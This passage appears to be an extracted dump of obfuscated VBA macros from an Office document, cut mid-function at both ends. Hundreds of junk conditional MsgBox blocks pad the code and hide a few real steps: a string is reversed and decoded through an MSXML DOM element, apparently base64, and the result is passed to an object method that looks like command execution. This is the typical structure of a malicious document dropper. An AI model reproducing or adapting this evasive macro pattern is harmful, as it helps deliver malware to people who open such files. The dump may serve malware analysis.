If Len(QpzSP) < 129 Then
' uFJjpo
Else
' fake
MsgBox "NaE3Zxs", 34, "FQ6f0H7t"
End If
If Len(y0P4o7T) < 129 Then
' uJ7V3fOE4
Else
' fake
MsgBox "otSf4", 34, "NbydkROcl"
End If
If Len(vHnk8mL) < 191 Then
' IjIWMm
Else
' fake
MsgBox "Ue4qY", 39, "TckoIzx"
End If
If Len(I9Q5XJef) < 191 Then
' KHBlv
Else
' fake
MsgBox "PiJngf", 39, "gzetJ"
End If
If Len(kwGSny4) < 191 Then
' t3bAx50F
Else
' fake
MsgBox "Fk2pGjYu", 39, "a9VYLEix"
End If
If Len(X0wK8ho) < 191 Then
' H6ae4
Else
' fake
MsgBox "xoODYPe8T", 39, "W50ALD4"
End If
If Len(oB1MTNEx) < 207 Then
' p08SY
Else
' fake
MsgBox "LVUNz2TZC", 58, "lupa2QA6"
End If
If Len(Nkucw1yfl) < 207 Then
' WQK0C4uc
Else
' fake
MsgBox "Uiqdpj", 58, "BFv5DZoa0"
End If
If Len(ekLxB) < 207 Then
' ibTU1ErFm
Else
' fake
MsgBox "d74wD2X", 58, "iMOS16jA"
End If
If Len(uvmBbJW) < 207 Then
' l1l6HMvi
Else
' fake
MsgBox "PO3X5", 58, "gpEbTq"
End If
Call StarWars(vy280, "ufSKCjpX", 300 - 44)
End Sub"
File "sj1X9.bas" (Streampath: "Macros/VBA/sj1X9") has code: "Sub StarWars(un1LFQc9D, P1Iq0SalH, kjzGm)
If Len(b12OiWr) < 159 Then
' WSiKV4
Else
' fake
MsgBox "DcPpzZFI", 55, "VBeGlsi"
End If
If Len(rU50zh) < 159 Then
' F7cD3Au0x
Else
' fake
MsgBox "bx2TeJ7", 55, "O8AyWdlSw"
End If
If Len(cnBN7x) < 159 Then
' N2qFXxrW
Else
' fake
MsgBox "ZF4YAZ7", 55, "Ugz19"
End If
If Len(mzBa5) < 178 Then
' fBL6x92
Else
' fake
MsgBox "oDBgT", 42, "o5Ny0sCbU"
End If
If Len(rjBOw) < 178 Then
' QazRXQmfW
Else
' fake
MsgBox "LlwGD8te", 42, "Nkjh3"
End If
If Len(sIbgZu3) < 172 Then
' mPqdM
Else
' fake
MsgBox "gIoGDs", 28, "tJ0kyvaUu"
End If
If Len(ikNdY) < 172 Then
' KhrHg
Else
' fake
MsgBox "xDNt9B", 28, "ypmhLX"
End If
If Len(Rg0Q6bKnl) < 172 Then
' iia4t
Else
' fake
MsgBox "EEzXoK", 28, "k5GX6n"
End If
If Len(cQxtfpb93) < 249 Then
' N6pzhuf
Else
' fake
MsgBox "T1i69qY", 38, "vVpEZL"
End If
If Len(OKa3n5) < 249 Then
' CXvy8FQo
Else
' fake
MsgBox "w59JWA2", 38, "QA97Eq1sF"
End If
If Len(xR9ZwHV) < 149 Then
' SDwBycI
Else
' fake
MsgBox "I53Ikw", 48, "LwoWdLU"
End If
If Len(HPypM) < 149 Then
' OLqVrfQ98
Else
' fake
MsgBox "Fd4z8yuX", 48, "Uxt61"
End If
If Len(nJVZR) < 149 Then
' tECG3Ysof
Else
' fake
MsgBox "iftXxvKi", 48, "aYu4Kl"
End If
If Len(DJoKTz) < 180 Then
' jbeFl3
Else
' fake
MsgBox "dnWe3f", 6, "KtnEcW3"
End If
If Len(cgVhHYl) < 180 Then
' gnKyJRk
Else
' fake
MsgBox "C92CBv", 6, "ZBHQZ4"
End If
If Len(orJT9hoVP) < 180 Then
' ZK3orfi
Else
' fake
MsgBox "Vg5kpmc", 6, "rFHyI"
End If
If Len(rwyTYH1a) < 176 Then
' aPrbl
Else
' fake
MsgBox "CvZyI", 34, "AdIOu"
End If
If Len(aCH40fSL) < 176 Then
' h6la7LAQ3
Else
' fake
MsgBox "FCjLdTmPS", 34, "PObu9"
End If
If Len(bDJ83r1Yk) < 176 Then
' dmAcjR
Else
' fake
MsgBox "n67gA2", 34, "JdXq9gTL"
End If
If Len(Nhlcy5A) < 176 Then
' I5nwVe
Else
' fake
MsgBox "GUnvKpiM1", 34, "k0KcL"
End If
If Len(ZzrvC) < 213 Then
' bQH5Jc
Else
' fake
MsgBox "w9CVLYhbo", 33, "aGD64"
End If
If Len(LurnF) < 213 Then
' CKuSIUTZH
Else
' fake
MsgBox "oqTkD", 33, "j7vDtZ"
End If
If Len(tj1HWtJ) < 213 Then
' NDzYdI1
Else
' fake
MsgBox "tD5yi", 33, "y2o6pK9"
End If
If Len(S4ocl) < 148 Then
' It0gPSp
Else
' fake
MsgBox "SI5NLrO8t", 48, "xFlQehy"
End If
If Len(uBtVQoE) < 148 Then
' fuUJc
Else
' fake
MsgBox "mYG3ZIx", 48, "vuIgXG7"
End If
If Len(eZGc4b5QX) < 205 Then
' s5X3ny2d
Else
' fake
MsgBox "n6IiWJl", 34, "XP38pmR5"
End If
If Len(ko2zEl) < 205 Then
' oXGSimN
Else
' fake
MsgBox "nEn3pNafx", 34, "ysrbuvJjW"
End If
If Len(xBkZEwz) < 205 Then
' POD5u4
Else
' fake
MsgBox "oypWn", 34, "WtyJUSjX"
End If
If Len(yUplu) < 137 Then
' uyl6VNQo
Else
' fake
MsgBox "WW1kiDt", 6, "x7l8u0GY"
End If
If Len(Vs03HtmT) < 137 Then
' R6sUiJEp
Else
' fake
MsgBox "w2KjfA8", 6, "tnVaXRf2U"
End If
If Len(LkFuL) < 228 Then
' YefhZPNC9
Else
' fake
MsgBox "dkXsgO", 35, "UuFqTrU"
End If
If Len(w6VSCjnY1) < 228 Then
' BmhjZQ3
Else
' fake
MsgBox "IH6hB", 35, "MdTGYk"
End If
If Len(SDSta5) < 228 Then
' Q68iHyh
Else
' fake
MsgBox "FC3RXu", 35, "LPOHBZ0en"
End If
If Len(NyzEqoDx) < 186 Then
' LTHBxPAy
Else
' fake
MsgBox "G72bo8C", 7, "z0w2Qp9"
End If
If Len(lS7HcDzGe) < 186 Then
' T48EYlL3
Else
' fake
MsgBox "wjWnB", 7, "KWy5L14CG"
End If
If Len(tr5BAYMl) < 186 Then
' VuRLp
Else
' fake
MsgBox "hOygPV3QX", 7, "oPNXAcdpT"
End If
If Len(fdI1OcM) < 141 Then
' j5CZE
Else
' fake
MsgBox "pXfCT", 20, "vFq8V"
End If
If Len(QbvK4cZl2) < 141 Then
' yJFfpSOw2
Else
' fake
MsgBox "kiKmz3LOP", 20, "fIBom"
End If
If Len(bafGXRw) < 141 Then
' WyfRN
Else
' fake
MsgBox "CdWsJ8Q", 20, "T5gkSMAt"
End If
If Len(rzTFs) < 221 Then
' iCN7H
Else
' fake
MsgBox "J0BMJj", 10, "YxgRpbFA0"
End If
If Len(jd5kl9q) < 221 Then
' ianXpLk
Else
' fake
MsgBox "I6mDtFAe9", 10, "R1IDLYwsP"
End If
If Len(w24zBf) < 173 Then
' BoHQ7WN6
Else
' fake
MsgBox "uBg1o", 51, "kkZL1uWRN"
End If
If Len(DGnKS) < 173 Then
' PCTiPV
Else
' fake
MsgBox "bfaWCwPlF", 51, "HH1qspJ5"
End If
If Len(mNaTMQz) < 173 Then
' yrbZWA
Else
' fake
MsgBox "DOWYoG", 51, "z6fPgK"
End If
If Len(gzm3Jfr) < 173 Then
' m8tbwpz
Else
' fake
MsgBox "hKcqv", 51, "b5wNZBdc"
End If
If Len(P5cR3) < 243 Then
' GikRIeEZ
Else
' fake
MsgBox "ryhzkXaO", 16, "kOzW9or6"
End If
If Len(t94IApiC) < 243 Then
' yq1UTysiX
Else
' fake
MsgBox "OmRP9", 16, "m58LFcxgY"
End If
If Len(H4TNq) < 243 Then
' fZ8JQujR
Else
' fake
MsgBox "ZHZLwezX", 16, "vXiwb"
End If
If Len(j1ufq) < 129 Then
' hOw1osK
Else
' fake
MsgBox "j3478", 60, "CmX8dJ9BQ"
End If
If Len(hrNMAUC5q) < 129 Then
' IWgHKIyRQ
Else
' fake
MsgBox "KZN48lAOW", 60, "PZyRsz"
End If
If Len(Vwx6D5BMH) < 129 Then
' iJRBNwOmj
Else
' fake
MsgBox "WBQuZmr", 60, "gS18t"
End If
If Len(AaZcUf) < 129 Then
' NBVfaSqO1
Else
' fake
MsgBox "taDmerk", 60, "lwt5fr"
End If
If Len(hTEhz7l1) < 252 Then
' PcKED
Else
' fake
MsgBox "g95ude7", 51, "VJTFEx"
End If
If Len(GYv3yJ) < 252 Then
' FOKS3
Else
' fake
MsgBox "hFE5m", 51, "IasWGg2Pi"
End If
If Len(bCKaXQi) < 200 Then
' muxLEvt
Else
' fake
MsgBox "VibyWRugI", 48, "CVf4jkyZ"
End If
If Len(NadMloe) < 200 Then
' QYel0Pj3
Else
' fake
MsgBox "yXJO2si", 48, "cT138eN"
End If
If Len(qfmxV) < 232 Then
' qoImSivRV
Else
' fake
MsgBox "sJ9bwF", 11, "otvdrou"
End If
If Len(xoThgMq) < 232 Then
' Ny5Po
Else
' fake
MsgBox "lpISoQ", 11, "QoOq3K"
End If
If Len(zQnGTg) < 232 Then
' YWD16
Else
' fake
MsgBox "U0aGkbUj", 11, "IZyeQH9"
End If
If Len(C5VgIp) < 232 Then
' gKdhOBy8
Else
' fake
MsgBox "YXR65cx", 11, "aj8JlA7nW"
End If
If Len(dr0PbGW) < 145 Then
' Bn3DvsUf
Else
' fake
MsgBox "M8qylF62D", 54, "IuaUg"
End If
If Len(CwbvYsx) < 145 Then
' y9tIjs
Else
' fake
MsgBox "cuyPvV", 54, "Z4b1JE23g"
End If
If Len(hVGHw) < 162 Then
' yh4Sf2FJ
Else
' fake
MsgBox "AszYJoN", 10, "SW6gifJOK"
End If
If Len(YK5cxqYkA) < 162 Then
' gHYsroQjh
Else
' fake
MsgBox "q90DzNk8", 10, "ki7ZB"
End If
If Len(t70DTwr) < 162 Then
' GSo91
Else
' fake
MsgBox "drAnwV5Zu", 10, "fqfMeLEw"
End If
If Len(MtVbLi20) < 162 Then
' OYHBLehEJ
Else
' fake
MsgBox "xabDmRExO", 10, "SiojA30q"
End If
If Len(fvHSj8tb) < 147 Then
' iiHhF
Else
' fake
MsgBox "aNnCVg9c", 8, "JnZsj"
End If
If Len(dfQpq) < 147 Then
' vFz2DUv
Else
' fake
MsgBox "OUYFpI", 8, "GO1bcrX"
End If
If Len(NSj5Ze) < 147 Then
' GJdsH9
Else
' fake
MsgBox "he5q74TQ", 8, "BCAlv4hp"
End If
If Len(hAckvXH) < 141 Then
' O703bZXTk
Else
' fake
MsgBox "dpma5", 52, "mit53yQPr"
End If
If Len(sKDEgY) < 141 Then
' mL6lmWyB
Else
' fake
MsgBox "idohX", 52, "liUSHL6p"
End If
If Len(uFQ5W) < 141 Then
' tYo7Fs5f
Else
' fake
MsgBox "MilRo", 52, "CcORiFl"
End If
If Len(K3cK4m0Nb) < 212 Then
' KuScOT
Else
' fake
MsgBox "RNabd", 27, "pIhFjwG1"
End If
If Len(URbcLyk) < 212 Then
' K3ukRMX
Else
' fake
MsgBox "OAMmG", 27, "WJjHKS7"
End If
If Len(JaH2mUglV) < 212 Then
' dIYOVD4np
Else
' fake
MsgBox "ETfil7", 27, "MKlbIP25"
End If
If Len(MSnxO) < 190 Then
' YDl9smt
Else
' fake
MsgBox "yzJonKYS", 49, "Tv4wQxy"
End If
If Len(LezBn0dV) < 190 Then
' EingTZM
Else
' fake
MsgBox "VqnVT", 49, "Y9W4oDUL"
End If
KEfVi = StrReverse(un1LFQc9D)
KEfVi = A7TIiUm(KEfVi)
If Len(Ric1mNHM) < 254 Then
' AC8yUrT3
Else
' fake
MsgBox "ZcKwAf", 24, "MYsMHo"
End If
If Len(wB0SHex8) < 254 Then
' Xhqixd3
Else
' fake
MsgBox "GT5Pj8E3", 24, "jdTAvkoU"
End If
If Len(Xf9FQsLX) < 254 Then
' xKsTRH1Fc
Else
' fake
MsgBox "CAuT3", 24, "Zu0jR"
End If
If Len(o0Q2CtSID) < 254 Then
' AdC8H
Else
' fake
MsgBox "hJDrhIwna", 24, "PmNq9y"
End If
If Len(Me9E86GYJ) < 178 Then
' xoH2WbVc9
Else
' fake
MsgBox "PmCL1Bhd", 31, "P1DYtnB"
End If
If Len(Lilv8R) < 178 Then
' fvRAFL
Else
' fake
MsgBox "fHmqbeMp", 31, "d052u4Dx"
End If
If Len(J2sen) < 178 Then
' IcYFUt
Else
' fake
MsgBox "GhVkd9", 31, "yMPnBbG3v"
End If
If Len(MUctkAFBd) < 249 Then
' NeSkT
Else
' fake
MsgBox "SlsXMHfO", 0, "tRjL2qtOu"
End If
If Len(JFhPwAq) < 249 Then
' uc9AwOSk
Else
' fake
MsgBox "IJtxV3Uf", 0, "CqmoY"
End If
If Len(gYbgx) < 249 Then
' YBEgdHfk
Else
' fake
MsgBox "yHb7wCyJh", 0, "WvE4Rra"
End If
If Len(vikYfZAtH) < 128 Then
' OaPi6IZ
Else
' fake
MsgBox "OXeP0LpEz", 41, "NGzNmX"
End If
If Len(hdcBusJMS) < 128 Then
' ruFGN
Else
' fake
MsgBox "x4OPq", 41, "odBpm"
End If
If Len(e84rYoQ) < 142 Then
' QldIBRU
Else
' fake
MsgBox "ZVGPTxX6", 22, "uR4ym"
End If
If Len(cJ4F58) < 142 Then
' PVnPrt
Else
' fake
MsgBox "iY4Gc", 22, "l209k1bT"
End If
If Len(ZFms2fTDr) < 182 Then
' acCQfDIZP
Else
' fake
MsgBox "ymTSHbCPk", 22, "Zx5rd"
End If
If Len(YBPN5dT6o) < 182 Then
' kPh4d8W
Else
' fake
MsgBox "LzoldjyS", 22, "L3Kpmb"
End If
If Len(jIq98R1d) < 182 Then
' AFs7JIe
Else
' fake
MsgBox "BtKTv8m", 22, "uqYrpNRus"
End If
If Len(W1Pgj) < 182 Then
' qfucBwg
Else
' fake
MsgBox "lIdADxb", 22, "anLOk"
End If
If Len(dwz4e) < 145 Then
' uCpxDB
Else
' fake
MsgBox "rMJOV0", 24, "QfSUAhx"
End If
If Len(SFRL2) < 145 Then
' RL9FCJt
Else
' fake
MsgBox "lE06Bxm", 24, "ZoRbf"
End If
If Len(cEv81o9hq) < 145 Then
' tvt6pF1Sq
Else
' fake
MsgBox "j59eF", 24, "eqml8DM14"
End If
If Len(LnJXb) < 145 Then
' gOaPx42
Else
' fake
MsgBox "TmyPsQ", 24, "iJsaSUw"
End If
If Len(sxGDr083) < 214 Then
' KjMC3z
Else
' fake
MsgBox "Sq4mM", 51, "KDNLKQFXb"
End If
If Len(XxBhKT6) < 214 Then
' Hjfg9
Else
' fake
MsgBox "nGXWVkv", 51, "xk2E9hd"
End If
If Len(l1TEtXn) < 214 Then
' jCGK1U9e
Else
' fake
MsgBox "VkhS9", 43, "BlAwo6"
End If
If Len(wupvXfRM0) < 214 Then
' tjqEp3
Else
' fake
MsgBox "MhnTc", 43, "uF69zfklc"
End If
If Len(FAL13S4) < 214 Then
' LQefC79v
Else
' fake
MsgBox "m86ma", 43, "UVeUi"
End If
If Len(Q7wSlfI) < 214 Then
' FHGDdO
Else
' fake
MsgBox "AqJd9kK", 43, "WxGyXV"
End If
If Len(xAEm3njg) < 196 Then
' crtFBy
Else
' fake
MsgBox "lVmWdBCST", 29, "Kuci5"
End If
If Len(sxRTG8C) < 196 Then
' W6C1vEGs
Else
' fake
MsgBox "YIopkGYdu", 29, "eOH7nbm"
End If
If Len(ohKkGm) < 196 Then
' HZ6JU
Else
' fake
MsgBox "Oyd2h9YD", 29, "pOVbCSs2"
End If
If Len(vuJiIs) < 196 Then
' vX4ESItJ
Else
' fake
MsgBox "iZBNtF", 29, "uoOLbyq"
End If
If Len(oX83Lx) < 175 Then
' KqHMiz6
Else
' fake
MsgBox "Vr9TKHiN", 36, "jk5StcDwg"
End If
If Len(UFl1T4) < 175 Then
' cgtBKyVE
Else
' fake
MsgBox "Ruei2", 36, "iRULmcBf"
End If
If Len(TeQ3ivujX) < 175 Then
' OgEbCs9
Else
' fake
MsgBox "dLaDhpt", 36, "sXSE5j6"
End If
If Len(RTBXl3iG6) < 175 Then
' SkSiyq
Else
' fake
MsgBox "XPEeugHp", 36, "wIS4PAO8"
End If
If Len(eciGZR) < 174 Then
' wtOCSsh
Else
' fake
MsgBox "YRjy6", 44, "eJHsMId"
End If
If Len(nXaMqN2) < 174 Then
' GphiTdr
Else
' fake
MsgBox "sc7GK", 44, "Db2FZBwIx"
End If
If Len(RejH9yKRz) < 174 Then
' WjxONk
Else
' fake
MsgBox "sksW0AIh", 44, "T0hAE9Cp"
End If
If Len(XIZRNjxF) < 174 Then
' n0GWl2maq
Else
' fake
MsgBox "hjJH0N", 44, "qHRosl1"
End If
If Len(p2fyID) < 254 Then
' yLNOHGspx
Else
' fake
MsgBox "CQc4dV86", 14, "wVUP9wo4T"
End If
If Len(WwWqLu) < 254 Then
' e4DBY
Else
' fake
MsgBox "yR9pD", 14, "KG3PIyh"
End If
If Len(lnGS2Q8B) < 254 Then
' pAzSJlt
Else
' fake
MsgBox "cos1W4x", 14, "fqi1TO"
End If
If Len(XRHgKJY4) < 254 Then
' L2msa
Else
' fake
MsgBox "DnlcO", 14, "aAWZHhi"
End If
If Len(HMhDJ02) < 159 Then
' IjQZIDA
Else
' fake
MsgBox "b7xDSQ", 14, "qufEsKNp"
End If
If Len(mRzYM) < 159 Then
' EgPDdqH
Else
' fake
MsgBox "pVjHcEh6r", 14, "rJVAcRmG"
End If
If Len(nS7wq) < 159 Then
' dfgqd3KO
Else
' fake
MsgBox "g6uena", 14, "SMwVjs7"
End If
If Len(S3HyAcfV) < 206 Then
' S0WEq
Else
' fake
MsgBox "iTzyGg", 60, "SMybrHO4z"
End If
If Len(tV6W72ZcK) < 206 Then
' NiA9LBv
Else
' fake
MsgBox "zWuhs5wx", 60, "sidBpV6"
End If
If Len(JryAp2t) < 206 Then
' A3MSet
Else
' fake
MsgBox "KFWwgNxhj", 60, "WOtNF"
End If
If Len(EoUrw8hDG) < 206 Then
' NNgcdnSmG
Else
' fake
MsgBox "dKRLGTx8Q", 60, "OQ5mKa"
End If
If Len(SEH6TIs) < 210 Then
' aKts9Tw
Else
' fake
MsgBox "GwVZheqBz", 63, "PuPzZEx"
End If
If Len(qydnQ) < 210 Then
' kItPc
Else
' fake
MsgBox "uXSzJPF", 63, "BIKZbm"
End If
If Len(IBUT84) < 178 Then
' KQn9Pq
Else
' fake
MsgBox "MFgSwW", 49, "bXwdb5r"
End If
If Len(uBbrn3GzM) < 178 Then
' wIxifb
Else
' fake
MsgBox "tUWJg", 49, "Vq2UZYbAy"
End If
If Len(Bx6fD5z) < 178 Then
' rUH5y
Else
' fake
MsgBox "TXc4m", 49, "sWUiY5"
End If
If Len(rZI8dH) < 251 Then
' PeouM
Else
' fake
MsgBox "fZctkr", 28, "E5fQ4Xsh"
End If
If Len(Zf9mpEseg) < 251 Then
' cL9JbpD
Else
' fake
MsgBox "WVs3MCaR", 28, "RzMbpEsg"
End If
If P1Iq0SalH <> 44937 + 20599 Then
If Len(NfEgVGIqp) < 238 Then
' kUMrVI
Else
' fake
MsgBox "g9lkHm", 30, "ccp31ZkuR"
End If
If Len(OaMOKJ) < 238 Then
' veBCFagV
Else
' fake
MsgBox "FVYd90", 30, "wEezOpU"
End If
If Len(Yfi5n) < 238 Then
' Op9EKe
Else
' fake
MsgBox "EPRyj", 30, "hbJGZ"
End If
If Len(iI17ot8) < 245 Then
' boXLq
Else
' fake
MsgBox "k5dKs", 60, "zG2jx"
End If
If Len(DhvCT6) < 245 Then
' lAOC765s
Else
' fake
MsgBox "sX7DbPza", 60, "Oqkljz8dM"
End If
Ufv7UG.de7qbEOg _
KEfVi, 0
If Len(EgcF76fX8) < 130 Then
' oPXYE0B
Else
' fake
MsgBox "wnECO0Acj", 53, "asCpKIXm"
End If
If Len(cIojpONq) < 130 Then
' TMGtaOkq
Else
' fake
MsgBox "jqR8Igf", 53, "LKe7m8G9U"
End If
If Len(UIfpLjPH) < 130 Then
' BFXD3zl
Else
' fake
MsgBox "EioVn", 53, "q1F5S"
End If
If Len(A9Kjx2Y) < 130 Then
' NSbBRaGr
Else
' fake
MsgBox "agFxes", 53, "OeVISj4"
End If
If Len(GO0Hl) < 233 Then
' Z5Xf8PTM
Else
' fake
MsgBox "aoIptKW4B", 5, "dmFbI5P4U"
End If
If Len(E8hLpzE7B) < 233 Then
' eDx4A
Else
' fake
MsgBox "h9ZEJThb", 5, "F1XpTa"
End If
If Len(QLaym) < 233 Then
' qC7Do942
Else
' fake
MsgBox "kgayTQGW", 5, "HfVaT"
End If
If Len(USgChoT) < 233 Then
' g6pEi
Else
' fake
MsgBox "GacRuX6s", 5, "GaXpgvdY"
End If
If Len(B4DlEZ) < 132 Then
' B6L7BN
Else
' fake
MsgBox "zMojIl", 28, "EPcXH9dQ"
End If
If Len(jMRngs7rN) < 132 Then
' kslY8C
Else
' fake
MsgBox "wXOHs", 28, "ImRQlJ"
End If
End If
End Sub"
File "oWzr4FJk9.bas" (Streampath: "Macros/VBA/oWzr4FJk9") has code: "Function A7TIiUm(prcZ9) As String
If Len(xSFrvhE) < 238 Then
' EHQKRCW
Else
' fake
MsgBox "SUu9l7n", 60, "SVgP78o"
End If
If Len(tgrjRC) < 238 Then
' f31xzJh5n
Else
' fake
MsgBox "ptN5bcBpn", 60, "k2Ym1"
End If
If Len(Z31AMD) < 139 Then
' fyTIqQ
Else
' fake
MsgBox "wn4htX", 17, "p8WxIDc5C"
End If
If Len(oZWko4q) < 139 Then
' Md3ZQyIW1
Else
' fake
MsgBox "csXkcg", 17, "ta1jKN"
End If
If Len(Ty057PGo) < 139 Then
' AngOzsI
Else
' fake
MsgBox "SafW6x", 17, "fHYxEy"
End If
If Len(cje2Fx4A) < 139 Then
' YoavmcCH
Else
' fake
MsgBox "ProX8", 17, "lNj4rCd"
End If
If Len(bh2PASvx) < 190 Then
' q3TC2
Else
' fake
MsgBox "ycyJOzk", 35, "ricH9R"
End If
If Len(EKNnBQrS) < 190 Then
' tJX0K
Else
' fake
MsgBox "Ap5l9", 35, "Myoxq"
End If
If Len(CMVTR) < 190 Then
' Oi0Nqy
Else
' fake
MsgBox "iE2lF", 35, "r7C1P"
End If
If Len(b7ySEmqn) < 190 Then
' rsAwl9E
Else
' fake
MsgBox "Gc5NQZn", 35, "FtY9uJ6A"
End If
If Len(W1E2q) < 160 Then
' YmEs2
Else
' fake
MsgBox "Z7agODi", 50, "b69NC"
End If
If Len(Koe6DBA) < 160 Then
' O5t4oLDaQ
Else
' fake
MsgBox "XB6aj87Qo", 50, "YBWEi"
End If
If Len(FzxemJVg) < 160 Then
' Zpkj9i0
Else
' fake
MsgBox "EeXwx85Mn", 50, "NVXm6N"
End If
If Len(s7AZ92) < 160 Then
' sFzps
Else
' fake
MsgBox "nKchmX", 50, "o57du"
End If
If Len(BLYOc8wU) < 160 Then
' mnRSCfMO
Else
' fake
MsgBox "YR6Xq5Ve", 36, "s8uhCQ"
End If
If Len(leMb7) < 160 Then
' wm8VH1uJf
Else
' fake
MsgBox "POhJo", 36, "Rz14t"
End If
If Len(BelzU1) < 224 Then
' Q75U3gyk
Else
' fake
MsgBox "vkmzZ1pP", 42, "hRKHI"
End If
If Len(Mg3u9QV) < 224 Then
' CNmMvVUxg
Else
' fake
MsgBox "E59Imdn", 42, "eh5FQv0Ap"
End If
If Len(HPCcWOY) < 224 Then
' kwCrm0
Else
' fake
MsgBox "GcJ5Ll1fs", 42, "XM2i5"
End If
If Len(pVrQS7GB) < 166 Then
' BLyc024Bs
Else
' fake
MsgBox "soqi5I", 24, "frVc5K7W"
End If
If Len(KTcIl) < 166 Then
' ELxZHfkpM
Else
' fake
MsgBox "HS3Hmwj", 24, "cAYOHL1E"
End If
If Len(tb9QIyt) < 166 Then
' oDtlSY
Else
' fake
MsgBox "voS7ybcQl", 24, "dYCW4D07q"
End If
If Len(b64GxtZ) < 239 Then
' hcUuOXpvm
Else
' fake
MsgBox "b5NthjG", 27, "z0azO7ZV"
End If
If Len(amHqKD) < 239 Then
' vs0f9vWO2
Else
' fake
MsgBox "GoaAnHrC", 27, "Pvf3R9N8"
End If
If Len(hxsauD4) < 239 Then
' gmeMBiHIa
Else
' fake
MsgBox "mX6ie3b", 27, "PdF97nrUe"
End If
If Len(X1nor) < 239 Then
' SDaBVx
Else
' fake
MsgBox "C2DF8", 27, "pFfn0N6d"
End If
If Len(PvOU1lHZo) < 183 Then
' EJsS86LDx
Else
' fake
MsgBox "KSDy1eJa", 47, "go4IaOwh"
End If
If Len(ofMUGTl) < 183 Then
' sWybfV
Else
' fake
MsgBox "bNJltvOP", 47, "mh7dsnMI"
End If
If Len(a8RcBW) < 183 Then
' eFE8qU
Else
' fake
MsgBox "rlHwEDTVi", 47, "gnSh7w"
End If
If Len(EEh1A) < 198 Then
' wquOY
Else
' fake
MsgBox "GJLfAY", 29, "XbMuC"
End If
If Len(ixQEVBZo) < 198 Then
' QCNJFfnd
Else
' fake
MsgBox "KSgGz", 29, "TuGsW"
End If
If Len(mdcl5) < 144 Then
' aFGLCj4V
Else
' fake
MsgBox "Sr9gy", 47, "xVqMiW"
End If
If Len(aNj8yV) < 144 Then
' AMN3j2Yk
Else
' fake
MsgBox "D2m6Ba9Kb", 47, "Zse4jioLg"
End If
If Len(AxH3sh1) < 246 Then
' tJ0d9BVbv
Else
' fake
MsgBox "pTu6c", 10, "g0nMWy"
End If
If Len(Eq5XjI) < 246 Then
' QG5Y9TO
Else
' fake
MsgBox "ROEqkR", 10, "aX1qr"
End If
If Len(ZNHJ0LIC) < 246 Then
' QoRe4f1
Else
' fake
MsgBox "Vx40B", 10, "j1EiFoVD"
End If
If Len(nuV23) < 185 Then
' QeiaTV
Else
' fake
MsgBox "Z7n14v2", 29, "JQYj3"
End If
If Len(i7EHGuB3) < 185 Then
' Bf1gtYd
Else
' fake
MsgBox "N1xN7", 29, "I846sFZO"
End If
If Len(l9brql) < 196 Then
' ZebBWzE
Else
' fake
MsgBox "XoNbH", 2, "ctYJX"
End If
If Len(UNkToO) < 196 Then
' cGwOa
Else
' fake
MsgBox "Q3lkMg6", 2, "as7Ey"
End If
If Len(u3Xd9f) < 196 Then
' HraWhk
Else
' fake
MsgBox "fEKMj", 2, "vb9BQEiS"
End If
If Len(y7tmYI6r5) < 235 Then
' G89nT
Else
' fake
MsgBox "neorDZgi", 27, "l7EV3y0Tb"
End If
If Len(gwfIi6jS) < 235 Then
' vKwRh1
Else
' fake
MsgBox "xMgkJnp", 27, "xpQq2Wln4"
End If
If Len(nGNz4) < 235 Then
' xlm7ov
Else
' fake
MsgBox "NJ2qrUVy", 27, "t0n7lfo"
End If
Set bRV84IAG = New _
MSXML2.DOMDocument
If Len(v0qxIP) < 212 Then
' Nzs4l
Else
' fake
MsgBox "duXfUMh", 38, "bIFTS"
End If
If Len(L5yAmY) < 212 Then
' kaU1E
Else
' fake
MsgBox "T3ntfQd", 38, "DBCtW5xu4"
End If
If Len(TfOdB) < 212 Then
' RctJ74OTQ
Else
' fake
MsgBox "EB7XGUyM", 38, "ZJoZeF8tj"
End If
If Len(dWbdDnR) < 183 Then
' FpBmcQEtz
Else
' fake
MsgBox "NrkKR", 42, "pJiHW4wEN"
End If
If Len(iXrQvxp8) < 183 Then
' orlu6
Else
' fake
MsgBox "q6ky5wl", 42, "rvMTGh0YV"
End If
If Len(LeOBD) < 183 Then
' zgZlT8
Else
' fake
MsgBox "m7D12Nzh0", 42, "NjfFE5C6r"
End If
If Len(p5vidN) < 183 Then
' xIBwZnMy6
Else
' fake
MsgBox "K1HasfM", 42, "W8WYeMiTy"
End If
If Len(gf52oURle) < 225 Then
' eTrtIg
Else
' fake
MsgBox "Xikqz", 24, "n3YPdXKih"
End If
If Len(Q83ASo) < 225 Then
' sBALHqrVa
Else
' fake
MsgBox "NkD0cifo", 24, "IAxXasWmf"
End If
Set csfSDlrN = bRV84IAG.createElement(eflBu)
If Len(xholxz1Ze) < 220 Then
' LJDOerbz
Else
' fake
MsgBox "Lq4kX61", 27, "vOQJgpjl"
End If
If Len(iGMaoNW) < 220 Then
' TSNMZCy
Else
' fake
MsgBox "RBVLW0", 27, "fsoZVG"
End If
If Len(Tnhw5dk) < 220 Then
' oLJn6
Else
' fake
MsgBox "DEtAdZD", 27, "CdAZxnEjm"
End If
If Len(wd1CjU) < 220 Then
' WLPaT
Else
' fake
MsgBox "pBxpL3K", 27, "tgJ9dVW"
End If
If Len(c8WAhx2e) < 232 Then
' ivDxBF
Else
' fake
MsgBox "c9DJ1", 31, "e5hjsW"
End If
If Len(pRQNr0tIU) < 232 Then
' j9Oxl
Else
' fake
MsgBox "J8FUlcL", 31, "TtLzjP"
End If
If Len(xzg5TGt) < 232 Then
' YtgiTZlU
Else
' fake
MsgBox "a9oaAJ6C", 31, "a6vo2741R"
End If
If Len(s9vUx) < 232 Then
' V6YHXkLKa
Else
' fake
MsgBox "vb4gQeDM9", 31, "zawNfYeB"
End If
If Len(OeiEk) < 228 Then
' dRvXf9
Else
' fake
MsgBox "SveSzqBu", 25, "cfSdtG"
End If
If Len(qMq5SPnU0) < 228 Then
' VVHpXr
Else
' fake
MsgBox "rlXe1I", 25, "bUFJ2OcaC"
End If
If Len(rOC3kK) < 228 Then
' Ga2PMWHl
Else
' fake
MsgBox "yLUp6t3", 25, "u3t6Zf"
End If
If Len(RDkLj) < 165 Then
' Z4OqCwWhr
Else
' fake
MsgBox "WqnxspbEr", 46, "hlq75"
End If
If Len(zWlqUAaD) < 165 Then
' p23C9fF
Else
' fake
MsgBox "bAM1OPb", 46, "AnkQGD2Bx"
End If
If Len(SD9YWAoua) < 165 Then
' khmWq
Else
' fake
MsgBox "n3u7I", 46, "GCwgisuk"
End If
If Len(omTJlba7) < 165 Then
' lDtT1
Else
' fake
MsgBox "DzhUQvc07", 46, "xKHYvl"
End If
If Len(bY3a1cf) < 208 Then
' djVBaCYk
Else
' fake
